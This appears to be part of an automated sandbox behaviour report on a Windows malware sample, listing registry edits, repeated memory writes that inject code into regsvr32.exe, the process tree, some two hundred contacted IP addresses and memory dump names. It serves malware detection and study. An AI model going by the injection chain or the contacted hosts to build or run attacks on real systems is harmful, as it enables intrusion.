Set value (int) \REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2020 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2020 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2020 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2020 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2020 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2020 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2020 wrote to memory of 2780 N/A C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2780 wrote to memory of 2616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2780 wrote to memory of 2616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2780 wrote to memory of 2616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2780 wrote to memory of 2616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2780 wrote to memory of 2616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2780 wrote to memory of 2616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2780 wrote to memory of 2616 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2372 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2372 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2372 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2372 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2372 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2372 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2372 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2100 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2100 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2100 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2100 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2100 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2100 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2616 wrote to memory of 2100 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\11d569ff76962c8a7a08e396813d579e_JaffaCakes118.exe"

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
US 56.75.111.81:80 tcp
RU 109.127.136.214:80 tcp
US 16.183.2.34:80 tcp
GB 149.189.51.235:80 tcp
US 207.227.169.12:80 tcp
DE 149.206.196.10:8080 tcp
US 32.225.149.131:80 tcp
IT 5.90.72.111:80 tcp
US 22.220.9.84:80 tcp
US 71.193.162.66:443 tcp
CN 220.170.211.166:80 tcp
US 18.94.22.211:80 tcp
US 171.160.64.94:80 tcp
RU 188.190.146.70:80 tcp
US 57.178.126.55:80 tcp
CN 115.170.40.12:80 tcp
CN 120.253.225.12:80 tcp
IT 93.44.7.247:80 tcp
US 9.37.197.106:80 tcp
IN 117.227.1.184:80 tcp
US 23.41.117.229:80 tcp
CA 52.114.163.76:80 tcp
KR 35.216.72.76:8080 tcp
CN 180.213.84.139:80 tcp
DE 80.151.23.132:80 tcp
TW 122.117.90.190:80 tcp
KR 125.145.139.216:80 tcp
KR 223.222.134.240:80 tcp
CN 111.9.28.40:80 tcp
GB 194.164.113.73:80 tcp
SE 164.48.101.255:80 tcp
US 68.6.171.85:80 tcp
US 170.194.137.15:80 tcp
US 192.238.116.43:80 tcp
ID 180.242.88.234:80 tcp
CN 163.179.47.169:80 tcp
US 174.86.228.73:80 tcp
US 8.240.100.32:80 tcp
US 22.61.62.158:80 tcp
US 69.14.216.252:80 tcp
US 35.60.158.32:80 tcp
US 99.16.165.130:80 tcp
KR 14.82.35.3:80 tcp
CN 153.37.94.87:443 tcp
N/A 127.116.3.176:80 tcp
US 205.19.28.71:443 tcp
CN 182.108.144.203:80 tcp
CN 219.153.56.220:80 tcp
US 207.252.231.159:80 tcp
IT 185.250.156.251:80 tcp
CN 113.105.240.96:80 tcp
US 71.60.17.58:80 tcp
ZA 41.5.98.116:80 tcp
DE 51.108.226.56:80 tcp
AT 83.164.247.113:80 tcp
US 171.149.82.105:80 tcp
CN 111.16.111.61:8080 tcp
CN 101.96.239.27:80 tcp
US 40.104.203.157:80 tcp
US 165.44.45.13:80 tcp
N/A 10.42.41.89:80 tcp
FR 195.132.184.144:80 tcp
SK 85.248.5.156:80 tcp
CN 123.186.106.81:80 tcp
US 44.16.93.10:80 tcp
AR 140.191.214.47:443 tcp
US 170.86.76.164:80 tcp
CN 116.21.193.115:443 tcp
KR 49.20.97.128:80 tcp
US 23.20.237.63:80 tcp
US 24.173.160.234:80 tcp
JP 210.198.5.56:80 tcp
AU 58.169.215.207:80 tcp
US 19.101.180.170:80 tcp
US 216.229.123.77:80 tcp
ZA 197.169.109.225:8080 tcp
CN 117.187.6.3:80 tcp
US 198.242.14.158:80 tcp
IE 64.43.164.111:80 tcp
US 147.56.18.66:80 tcp
BY 95.46.200.137:80 tcp
IT 87.22.75.202:80 tcp
CN 117.185.229.34:80 tcp
CH 57.3.85.33:80 tcp
US 96.208.85.217:80 tcp
CN 110.185.35.189:80 tcp
US 30.204.243.207:80 tcp
KR 123.251.84.250:80 tcp
NL 81.24.9.60:80 tcp
CN 222.69.54.90:80 tcp
FR 93.22.155.212:80 tcp
US 199.125.198.89:443 tcp
US 165.214.74.20:80 tcp
IT 136.156.253.151:80 tcp
US 204.97.72.75:80 tcp
CH 159.168.192.220:80 tcp
US 136.127.201.45:80 tcp
US 3.225.120.236:8080 tcp
US 107.70.161.35:80 tcp
US 173.247.177.148:80 tcp
US 75.215.124.11:80 tcp
TW 36.227.56.156:80 tcp
JP 210.135.66.69:80 tcp
US 35.20.165.47:80 tcp
CN 36.56.81.238:80 tcp
CN 117.8.136.214:443 tcp
BR 191.172.183.237:80 tcp
ES 87.125.45.194:443 tcp
RU 109.68.210.165:80 tcp
CN 36.251.110.145:8080 tcp
US 170.212.62.140:80 tcp
DE 95.90.141.67:80 tcp
DE 79.214.255.43:80 tcp
US 71.13.54.152:80 tcp
US 123.253.106.193:80 tcp
N/A 100.120.159.30:80 tcp
DE 45.81.135.151:80 tcp
US 184.226.101.164:80 tcp
GR 147.95.180.18:80 tcp
AU 124.186.184.159:80 tcp
N/A 127.147.124.168:80 tcp
US 50.124.200.205:80 tcp
BR 147.65.143.211:80 tcp
GB 25.1.20.240:80 tcp
US 139.38.139.117:80 tcp
US 135.224.104.53:80 tcp
US 21.126.196.189:443 tcp
US 28.95.196.153:80 tcp
IN 120.58.213.51:80 tcp
US 161.199.151.141:80 tcp
BR 200.134.157.189:80 tcp
US 34.179.167.148:443 tcp
CN 27.28.98.76:80 tcp
DZ 105.96.94.78:80 tcp
IT 185.39.240.118:80 tcp
DE 146.253.91.231:80 tcp
CN 223.111.19.3:80 tcp
US 68.131.162.136:80 tcp
CZ 213.220.239.206:80 tcp
US 26.184.109.36:80 tcp
IE 34.248.173.46:80 tcp
US 6.44.5.234:80 tcp
CN 210.82.138.159:80 tcp
CA 99.251.126.146:80 tcp
FR 62.217.18.113:80 tcp
JP 156.231.117.86:8080 tcp
GB 86.30.240.231:80 tcp
US 19.228.12.4:80 tcp
US 134.199.93.129:80 tcp
KR 211.215.101.204:80 tcp
US 155.48.211.181:80 tcp
US 198.225.233.70:80 tcp
US 157.189.101.220:80 tcp
ES 150.244.205.58:8080 tcp
KR 211.232.24.164:80 tcp
GB 154.32.244.176:80 tcp
US 3.199.43.96:80 tcp
JP 210.229.130.66:80 tcp
JP 218.227.32.229:80 tcp
IN 182.66.89.101:80 tcp
JP 160.21.27.101:80 tcp
DE 217.95.222.98:80 tcp
US 174.48.88.252:80 tcp
US 204.154.189.152:80 tcp
US 22.38.234.224:80 tcp
JP 222.158.54.102:80 tcp
PT 2.80.196.239:80 tcp
US 35.175.194.36:80 tcp
IT 94.81.36.249:80 tcp
US 148.128.182.149:443 tcp
US 204.105.215.247:80 tcp
US 50.223.214.73:80 tcp
ZA 197.80.176.166:443 tcp
CN 59.72.21.70:80 tcp
IR 185.101.228.90:80 tcp
CH 188.63.8.110:80 tcp
GB 25.193.232.26:80 tcp
AU 131.170.89.180:80 tcp
ID 114.9.34.136:80 tcp
KW 188.70.75.166:80 tcp
US 33.155.46.190:80 tcp
US 29.155.60.34:80 tcp
CN 122.76.207.234:80 tcp
BR 191.11.127.173:80 tcp

Files

memory/2020-1-0x00000000020A0000-0x0000000002120000-memory.dmp

memory/2020-2-0x0000000000230000-0x0000000000231000-memory.dmp

memory/2020-3-0x0000000000230000-0x0000000000231000-memory.dmp

memory/2020-4-0x00000000020A0000-0x0000000002120000-memory.dmp

memory/2020-5-0x0000000000400000-0x00000000004AC000-memory.dmp

memory/2020-7-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2020-8-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2020-11-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2020-10-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2020-9-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2020-12-0x0000000000400000-0x00000000004AC000-memory.dmp

memory/2020-13-0x0000000000050000-0x000000000011C000-memory.dmp

memory/2780-18-0x0000000000F20000-0x0000000000F27000-memory.dmp

memory/2780-22-0x0000000000F20000-0x0000000000F27000-memory.dmp

memory/2780-23-0x0000000000170000-0x000000000023C000-memory.dmp

memory/2780-25-0x0000000000170000-0x000000000023C000-memory.dmp

memory/2780-26-0x0000000000170000-0x000000000023C000-memory.dmp

memory/2780-24-0x0000000000170000-0x000000000023C000-memory.dmp

memory/2780-27-0x0000000000170000-0x000000000023C000-memory.dmp

memory/2780-29-0x0000000000170000-0x000000000023C000-memory.dmp

memory/2616-40-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-39-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-38-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-41-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-42-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-43-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-44-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-50-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-49-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-48-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-47-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-46-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-45-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-52-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2372-53-0x0000000000F20000-0x0000000000F27000-memory.dmp

memory/2372-55-0x0000000000F20000-0x0000000000F27000-memory.dmp

memory/2372-56-0x0000000000110000-0x00000000001DC000-memory.dmp

memory/2372-58-0x0000000000110000-0x00000000001DC000-memory.dmp

memory/2372-61-0x0000000000110000-0x00000000001DC000-memory.dmp

memory/2372-59-0x0000000000110000-0x00000000001DC000-memory.dmp

memory/2372-57-0x0000000000110000-0x00000000001DC000-memory.dmp

memory/2372-60-0x0000000000110000-0x00000000001DC000-memory.dmp

memory/2616-62-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2616-63-0x0000000000150000-0x000000000021C000-memory.dmp

memory/2100-68-0x0000000000110000-0x00000000001DC000-memory.dmp

memory/2100-70-0x0000000000110000-0x00000000001DC000-memory.dmp

memory/2100-69-0x0000000000110000-0x00000000001DC000-memory.dmp

memory/2100-67-0x0000000000110000-0x00000000001DC000-memory.dmp